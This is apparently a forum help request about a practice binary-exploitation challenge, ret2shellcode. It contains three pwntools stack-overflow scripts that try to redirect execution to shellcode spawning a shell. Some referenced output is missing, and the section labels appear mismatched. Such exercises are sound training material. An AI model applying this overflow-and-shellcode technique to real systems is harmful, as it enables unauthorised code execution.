It provides a program named ret2shellcode
. I try to pwn it, but I failed. I have tried two ways, execute in .bss, execute in stack. But, I just get the information below:
The OS environment and program information is as following:
And, I find that:.bss don't have execute permission
Exploit code:
Execute in (stack frame of entry0/_start)
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
Execute in buf (main function stack frame):
from pwn import *
sh = process("./ret2shellcode")
payload = asm(shellcraft.sh())
buf = 0xffffcecc
sh.sendline(payload.ljust(112, b'A') + p32(buf))
sh.interactive()
Execute in buf2 (.bss):
from pwn import *
sh = process('./ret2shellcode')
payload = asm(shellcraft.sh())
sled_len = 112
ret_addr = 0xffffcf40
play_load2 = 112*b'A' + p32(ret_addr) + payload
sh.sendline(play_load2)
sh.interactive()